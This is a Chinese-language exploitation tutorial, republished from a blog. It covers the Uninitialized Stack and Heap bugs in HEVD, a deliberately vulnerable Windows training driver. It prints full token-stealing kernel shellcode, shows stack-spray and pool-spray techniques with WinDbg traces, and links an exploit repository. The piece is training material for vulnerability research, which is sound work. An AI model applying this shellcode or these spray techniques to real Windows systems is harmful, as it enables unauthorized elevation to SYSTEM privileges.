作者:k0shl
來源:http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html

0x00 前言

我是菜鳥,大牛們請噴T.T

HEVD是HackSys的一個Windows的訓練項目,是一個存在漏洞的內核的驅動,里面存在多個漏洞,通過ControlCode控制漏洞類型,這個項目的驅動里幾乎涵蓋了內核可能存在的所有漏洞,從最基礎的棧溢出,到池溢出,釋放后重用等等類型,是一個非常好的項目。非常適合我們熟悉理解Windows內核漏洞的原理,利用技巧等等。

項目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

項目可以通過WDK的build方法直接編譯,詳細編譯方法可以看《0day安全:軟件漏洞分析技術》中內核漏洞章第一節內容有介紹,也可以百度直接搜到,通過build方法可以編譯出對應版本的驅動.sys,然后通過osrloader工具注冊并加載,之后就可以通過Demo來進行調試和提權了。

在這個項目中包含了兩種漏洞類型,叫做Uninitialized Stack和Uninitialized Heap,分別是未初始化的棧和未初始化的堆,具體的漏洞形成原因可以通過閱讀HEVD項目的源碼和說明了解。大致漏洞形成的原因就是在驅動沒有對結構體進行初始化,從而導致可以通過提前覆蓋內核堆棧的方法控制關鍵結構體,在沒有進行初始化和結構體內容檢查的情況下,直接引用結構體的函數指針,最后可以通過提前覆蓋的方法控制結構題的函數指針,跳轉到提權shellcode,來完成提權。

這篇文章的內容不再分析漏洞成因,成因都非常簡單,我將就幾方面內容和大家一起分享一下學習成果,第一部分將分享一下HEVD項目中通用的提權shellcode,第二部分將跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages進行kernel stack spray的方法,第三部分我將分享一下HEVD中的一個challenge,是關于未初始化堆空間利用的方法。

HEVD項目中,不僅提供了包含漏洞的驅動源碼,還包含了對應利用的Exploit,但是在Uninitialized Heap漏洞中提出了一個challenge。

下面我們一起來開始今天的學習之旅吧!

0x01 privilege Escalation Shellcode

關于提權的shellcode方法有很多,看過我之前對于CVE-2014-4113分析的小伙伴一定對替換token的這種方法比較熟悉,在我的那篇分析里,利用替換token這種shellcode是用C來實現的,當然,還有其他方法,比如將ACL置NULL這種方法,今天我還是給大家一起分享一下替換token這種方法,這種方法非常好用也非常常用,HEVD中替換shellcode的方法,是用內聯匯編完成的。

VOID TokenStealingPayloadWin7Generic() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state
    }
}

這種方法,首先會通過fs段寄存器獲取_KTHREAD結構題,fs段寄存器存放了關于線程的各種信息,當處于內核態時,fs的值為0x30,處于用戶態時fs值則為0x3b

kd> p

01352782 57              push    edi

kd> p

01352783 60              pushad

kd> p

01352784 33c0            xor     eax,eax

kd> p

01352786 648b8024010000  mov     eax,dword ptr fs:[eax+124h]

kd> dd 0030:00000124

0030:00000124  859615c0

隨后獲取到KTHREAD之后,我們可以獲取到EPROCESS結構,這個結構中包含了PID等信息,最為關鍵的是,在內核中是以鏈表存放的,而這個鏈表就在_EPROCESS結構中。

kd> dd 859615c0+50

85961610  85a5e538 09000000 00000000 00000000

85961620  00000000 00000037 01000002 00000000

85961630  85961680 82936088 82936088 00000000

85961640  002e5ef3 00000000 7ffdd000 00000000

85961650  006a0008 00000000 859616c8 859616c8

85961660  6751178a 0000006e 00000000 00000000

85961670  00000000 00000000 00000060 82972b00

85961680  859617fc 859617fc 859615c0 843b0690

kd> dt _EPROCESS 85a5e538

ntdll!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER 0x1d27c2c`295b0eb9

   +0x0a8 ExitTime         : _LARGE_INTEGER 0x0

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : 0x00000c64 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]

一旦獲取了EPROCESS結構,我們能做很多事情,最簡單的,觀察偏移0xb4位置,存放著當前進程的PID,而0xb8位置,存放著一個LIST_ENTRY結構,這個結構存放著前面一個EPROCESS和后一個EPROCESS,這就很有意思了。

我可以通過這種方法,遍歷當前系統所有存在的EPROCESS,而且能夠找到System的EPROCESS,實際上,這個_EPROCESS,我們通過Windbg的!process 0 0的方法可以獲取到。

kd> dt _LIST_ENTRY 841bdad0+b8

urlmon!_LIST_ENTRY

 [ 0x84e64290 - 0x8294a4f0 ]

   +0x000 Flink            : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]

   +0x004 Blink            : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]



kd> dd 841bdad0+b8

841bdb88  84e64290 8294a4f0 00000000 00000000

841bdb98  00000000 00000000 0000000d 8293db40

841bdba8  00000000 00644000 00246000 00000000

841bdbb8  00000000 00000000 00000000 87a01be8

841bdbc8  87a0130b 00000000 00000000 00000000

841bdbd8  00000000 00000000 841de2e0 00000000

841bdbe8  00000005 00000040 00000000 00000000

841bdbf8  00000000 00000000 00000000 00000000

kd> dt _EPROCESS 84e64290-b8

ntdll!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER 0x1d27bbd`9fafafa2

   +0x0a8 ExitTime         : _LARGE_INTEGER 0x0

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : 0x00000100 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]

回到shellcode,后面有一個loop循環,在循環中做的事情就是不斷通過鏈表的前向指針和后向指針找到System的_EPROCESS結構,也就是+0xb4位置的PID為4的結構,在結構中存放著token,只要找到System的token,替換掉當前進程的token,就可以完成提權了。

0x02 NtMapUserPhysicalPages and Kernel Stack Spray

在下面的調試中,由于我多次重新跟蹤調試,所以每次申請的shellcode指針地址都不太一樣,但不影響理解。

在HEVD項目中涉及到一種方法,可以進行Kernel Stack Spray,其實在內核漏洞中,未初始化的堆棧這種漏洞相對少,而且在Windows系統中內核堆棧不像用戶態的堆棧,是共用的一片空間,因此如果使用Kernel Stack Spray是有一定風險的,比如可能覆蓋到某些其他的API指針。在作者博客中也提到這種Kernel Stack Spray是一種比較冷門的方法,但也比較有意思。這里我就和大家一起分析一下,利用NtMapUserPhysicalPages這個API完成內核棧噴射的過程。

為什么要用NtMapUserPhysicalPages,別忘了我們執行提權Exploit的時候,是處于用戶態,在用戶態時使用的棧地址是用戶棧,如果我們想在用戶態操作內核棧,可以用這個函數在用戶態來完成對內核棧的控制。

j00ru博客對應內容文章地址:http://j00ru.vexillium.org/?p=769

首先我們觸發的是Uninitialized Stack這個漏洞,在觸發之前,我們需要對內核棧進行噴射,這樣可以將shellcode函數指針覆蓋到HEVD.sys的結構體中。用到的就是NtMapUserPhysicalPages這個方法。

這個方法存在于ntkrnlpa.exe中,也就是nt!NtMapUserPhysicalPages,首先到達這個函數調用的時候,進入內核態,我們可以通過cs段寄存器來判斷,一般cs為0x8時處于內核態,為0x1b時處于用戶態。

kd> r cs

cs=00000008



kd> r

eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0

eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0         nv up ei ng nz ac po nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000292

在此之前,內核棧的情況如下圖:

注意esp和ebp,現在處于內核棧中,這時候,我們可以通過對內核棧下寫入斷點,這樣在向棧寫入數據,也就是棧噴射時會中斷。

kd> g

nt!memcpy+0x33:

82882393 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,在nt!memcpy中斷,這時候執行的是一處拷貝操作,這時候通過kb查看一下堆棧回溯。

kd> kb

ChildEBP RetAddr  Args to Child              

94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33

94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f

94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e

94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall

可以看到,函數的調用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray -> memcpy,來看一下這個過程的函數實現,首先是nt!NtMapUserPhysicalPages

NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)

  if ( (unsigned int)NumberOfPages > 0xFFFFF )

    return -1073741584;

  BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;

  v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;

  if ( v33 <= BaseAddressa )

    return -1073741584;

  v4 = &P;//棧地址

  v39 = 0;

  v37 = &P;

  if ( PageFrameNumbers )

  {

    if ( !NumberOfPages )

      return 0;

    if ( (unsigned int)NumberOfPages > 0x400 )//如果要超過1024,就要擴展池,不過這里不用

    {

      v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);

      v37 = v4;

      if ( !v4 )

        return -1073741670;

    }

    v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned int)PageFrameNumbers, v4);//v4 要拷貝的目標 內核棧  a2,要覆蓋的EoPBuffer  長度是4*NumberOfPages

對應的注釋已經標記,在函數中調用了MiCaptureUlongPtrArray,會將傳入NtMapUserPhysicalPages的參數,長度也就是NumberOfPages,內容也就是PageFrameNumbers(詳情請參考Exploit中的UninitializedStackVariable.c),然后進入MiCaptureUlongPtrArray。

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)

{

  size_t v3; // ecx@1



  v3 = 4 * a1;

  if ( v3 )

  {

    if ( a2 & 3 )

      ExRaiseDatatypeMisalignment();

    if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )

      *(_BYTE *)MmUserProbeAddress = 0;

  }

  memcpy(a3, (const void *)a2, v3);

  return 0;

}

進入后,會將shellcode的內容拷貝到a3,也就是&P,內核棧中。

kd> p

nt!memcpy+0x35:

82882395 ff2495ac248882  jmp     dword ptr nt!memcpy+0x14c (828824ac)[edx*4]

kd> dd 94d139e4

94d139e4  00c62800 00c62800 00c62800 00c62800

94d139f4  00c62800 00c62800 00c62800 00c62800

94d13a04  00c62800 00c62800 00c62800 00c62800

94d13a14  00c62800 00c62800 00c62800 00c62800

94d13a24  00c62800 00c62800 00c62800 00c62800

memcpy之后,可以看到棧地址空間被噴射上了shellcode的指針,接下來觸發漏洞,關于觸發的原理閱讀HEVD.sys源碼很清晰,這里不詳細介紹,大致就是當傳入的UserValue,和漏洞的MagicValue不一樣的情況下,就可以引發未初始化變量。

kd> p

HEVD+0x2cac:

95327cac 8b95ecfeffff    mov     edx,dword ptr [ebp-114h]



kd> dd ebp-114

8c1f1994  baadf00d 01342800 01342800 01342800

8c1f19a4  01342800 01342800 01342800 01342800

8c1f19b4  01342800 01342800 01342800 01342800

8c1f19c4  01342800 01342800 01342800 01342800

8c1f19d4  01342800 01342800 01342800 01342800

8c1f19e4  01342800 01342800 01342800 01342800

8c1f19f4  01342800 01342800 01342800 01342800

在進入HEVD的Trigger函數之后,可以看到此時內核棧已經被覆蓋,這時候UserValue的值,也就是我們可控的值是baadf00d,隨后看一下StackVariable結構體的內容。

kd> p

HEVD+0x2ccc:

95327ccc e853d8ffff      call    HEVD+0x524 (95325524)

kd> r eax

eax=8c1f1998

kd> dd 8c1f1998

8c1f1998  01342800 01342800 01342800 01342800

8c1f19a8  01342800 01342800 01342800 01342800

8c1f19b8  01342800 01342800 01342800 01342800

8c1f19c8  01342800 01342800 01342800 01342800

隨后會對UserValue和MagicValue進行比較。

kd> p

HEVD+0x2cda:

95327cda 3b4de0          cmp     ecx,dword ptr [ebp-20h]

kd> p

HEVD+0x2cdd:

95327cdd 7516            jne     HEVD+0x2cf5 (95327cf5)

kd> r ecx

ecx=baadf00d

kd> dd ebp-20

8c1f1a88  bad0b0b0

UserValue是baadf00d,而HEVD.sys的MagicValue的值是bad0b0b0,不相等的情況下,不會對之前的StackVariable結構體中的成員變量初始化,而此時成員變量的值都被shellcode覆蓋,最后引用,導致在內核態進入shellcode。

kd> p

HEVD+0x2d33:

95327d33 ff95f4feffff    call    dword ptr [ebp-10Ch]



kd> dd ebp-10c

8c1f199c  01342800



01342800 55              push    ebp

01342801 8bec            mov     ebp,esp

01342803 83e4f8          and     esp,0FFFFFFF8h

01342806 83ec34          sub     esp,34h

01342809 33c0            xor     eax,eax

0134280b 56              push    esi

0134280c 33f6            xor     esi,esi

最后在內核態執行shellcode,替換當前進程token為System token,完成提權。

0x03 Uninitialized Stack & Heap

最后就是關于這次challenge了,其實這個challenge非常好理解,如果做過瀏覽器或者其他跟堆有關漏洞的小伙伴肯定第一時間想到的就是Heap Spray,沒錯,堆噴!

利用內核堆噴,我們可以完成對堆結構的控制,最后完成提權,在文章最后,我放一個我修改了UninitializedHeapVariable對應Exploit內容的項目地址,可以利用我的這個項目地址完成提權。

但是,內核堆噴和應用層的堆噴不太一樣,要解決兩個問題,第一個shellcode放在哪里,第二個如何在用戶態向內核堆進行噴射。

解決問題的關鍵在于NtAllocateVirtualMemory和CreateMutex,首先NtAllocateVirtualMemory對于內核熟悉的小伙伴肯定不會陌生,看過我前面兩篇內核調試學習的小伙伴也不會陌生,在很多內核漏洞利用場景中,都會用到這個函數,這個函數可以用來申請零頁內存,來完成shellcode的布局。

如何布局是一個問題,這里來看一下漏洞觸發位置的調用。

92319abd 83c408          add     esp,8

92319ac0 8b4ddc          mov     ecx,dword ptr [ebp-24h]

92319ac3 8b5104          mov     edx,dword ptr [ecx+4]

92319ac6 ffd2            call    edx {00460046}

如果我們能夠控制edx的話,這里調用的就是剛才通過NtAllocateVirtualMemory申請的內存,這里可以直接往這里面存放shellcode,可是我從老外那學到了一種方法,就是獲取shellcode的函數入口指針,然后這里存放68+addr+c3的組合,這樣call調用后,執行的內容就是。

kd> t

00640066 68b0141401      push    11414B0h

kd> p

0064006b c3              ret

這樣,相當于將shellcode入口指針入棧,esp變成shellcode指針,然后ret,之后就會跳轉到shellcode中執行shellcode,這樣對于NtAllocateVirtualMemory布局操作就簡單很多。

這樣,我們只需要申請一個零頁空間就行了。

kd> dd 00460046

00460046  35278068 0000c301

布置上我們的push shellcode addr;ret

然后就是關鍵的CreateMutex,這個會創建互斥體,我們申請多個互斥體,完成對堆的布局。

kd> p

KernelBase!CreateMutexA+0x19:

001b:75961675 e809000000      call    KernelBase!CreateMutexExA (75961683)

kd> dd esp

0099e73c  00000000 0099f788 00000001 001f0001

0099e74c  0099f81c 0110320e 00000000 00000001

0099e75c  0099f788 9c1c5b57 00000000 00000000

0099e76c  00000000 00000000 00000000 00000000

0099e77c  00000000 00000000 00000000 00000000

0099e78c  00000000 00000000 00000000 00000000

0099e79c  00000000 00000000 00000000 00000000

0099e7ac  00000000 00000000 00000000 00000000



kd> dc 99f788

0099f788  46464646 67716870 656d7568 6e6c7961  FFFFphqghumeayln

0099f798  7864666c 63726966 78637376 77626767  lfdxfircvscxggbw

0099f7a8  716e666b 77787564 6f666e66 7273767a  kfnqduxwfnfozvsr

0099f7b8  706a6b74 67706572 70727867 7976726e  tkjprepggxrpnrvy

0099f7c8  776d7473 79737963 70716379 6b697665  stmwcysyycqpevik

0099f7d8  6d666665 6d696e7a 73616b6b 72737776  effmznimkkasvwsr

0099f7e8  6b7a6e65 66786379 736c7478 73707967  enzkycxfxtlsgyps

0099f7f8  70646166 00656f6f 9c1c5b57 0099e760  fadpooe.W[..`...

申請多個互斥體后,可以看到對池空間的控制。可以看到,第一個參數是mutexname,這個前面必須包含46,這樣才能進行函數調用后,在pool中覆蓋到00460046的值。

kd> r eax

eax=a6630b38

kd> !pool a6630b38

Pool page a6630b38 region is Paged pool

 a6630000 size:  100 previous size:    0  (Allocated)  IoNm

 a6630100 size:    8 previous size:  100  (Free)       0.4.

 a6630108 size:  128 previous size:    8  (Allocated)  NtFs

 a6630230 size:    8 previous size:  128  (Free)       Sect

 a6630238 size:   18 previous size:    8  (Allocated)  Ntf0

 a6630250 size:   38 previous size:   18  (Allocated)  CMVa

 a6630288 size:   68 previous size:   38  (Allocated)  FIcs

 a66302f0 size:   f8 previous size:   68  (Allocated)  ObNm

 a66303e8 size:  138 previous size:   f8  (Allocated)  NtFs

 a6630520 size:  100 previous size:  138  (Allocated)  IoNm

 a6630620 size:  128 previous size:  100  (Free)       ObNm

 a6630748 size:   68 previous size:  128  (Allocated)  FIcs

 a66307b0 size:  380 previous size:   68  (Allocated)  Ntff

*a6630b30 size:   f8 previous size:  380  (Allocated) *Hack

        Owning component : Unknown (update pooltag.txt)

這里a6630b30中包含了8字節的pool header,和0xf0的nopage pool,通過CreateMutex,我們會對kernel pool占用。


kd> dd a6630b38

a6630b38  00000000 00460046 00780069 00620074

a6630b48  0074006b 00770065 00630071 006a0078

a6630b58  00740065 00720063 00730061 006a007a

a6630b68  006e0065 00790070 006a0064 00680061

a6630b78  00710067 00660072 006c007a 0079006f

a6630b88  007a0075 0068006f 00760074 006a0078

a6630b98  006b0063 00730073 00750064 00770077

可以看到,現在頭部結構已經被00460046占用,接下來,還是由于UserValue和MagicValue的原因,引發Uninitialized Heap Variable。

kd> g

Breakpoint 1 hit

HEVD+0x299e:

9231999e ff1598783192    call    dword ptr [HEVD+0x898 (92317898)]

kd> p

HEVD+0x29a4:

923199a4 8945dc          mov     dword ptr [ebp-24h],eax

kd> dd eax

889f8610  00000000 00460046 00780069 00620074



kd> dd 00460046

00460046  35278068 0000c301

隨后由于池中結構體的內容未初始化,內核池中存放的還是我們通過CreateMutex布置的內容,直接引用會跳轉到我們通過NtAllocateVirtualMemory申請的空間。

kd> p

HEVD+0x2ac0:

95327ac0 8b4ddc          mov     ecx,dword ptr [ebp-24h]

kd> p

HEVD+0x2ac3:

95327ac3 8b5104          mov     edx,dword ptr [ecx+4]

kd> r ecx

ecx=a86c5580

kd> p

HEVD+0x2ac6:

95327ac6 ffd2            call    edx

kd> t

00460046 68b0141401      push    11414B0h

kd> p

0064006b c3              ret

kd> p

011414b0 53              push    ebx





011414b0 53              push    ebx

011414b1 56              push    esi

011414b2 57              push    edi

011414b3 60              pushad

011414b4 33c0            xor     eax,eax

011414b6 648b8024010000  mov     eax,dword ptr fs:[eax+124h]

011414bd 8b4050          mov     eax,dword ptr [eax+50h]

011414c0 8bc8            mov     ecx,eax

隨后push shellcode之后,esp的值被修改,直接ret會跳轉到shellcode address,執行提權。

最后我貼上更新后的項目代碼。

https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/200/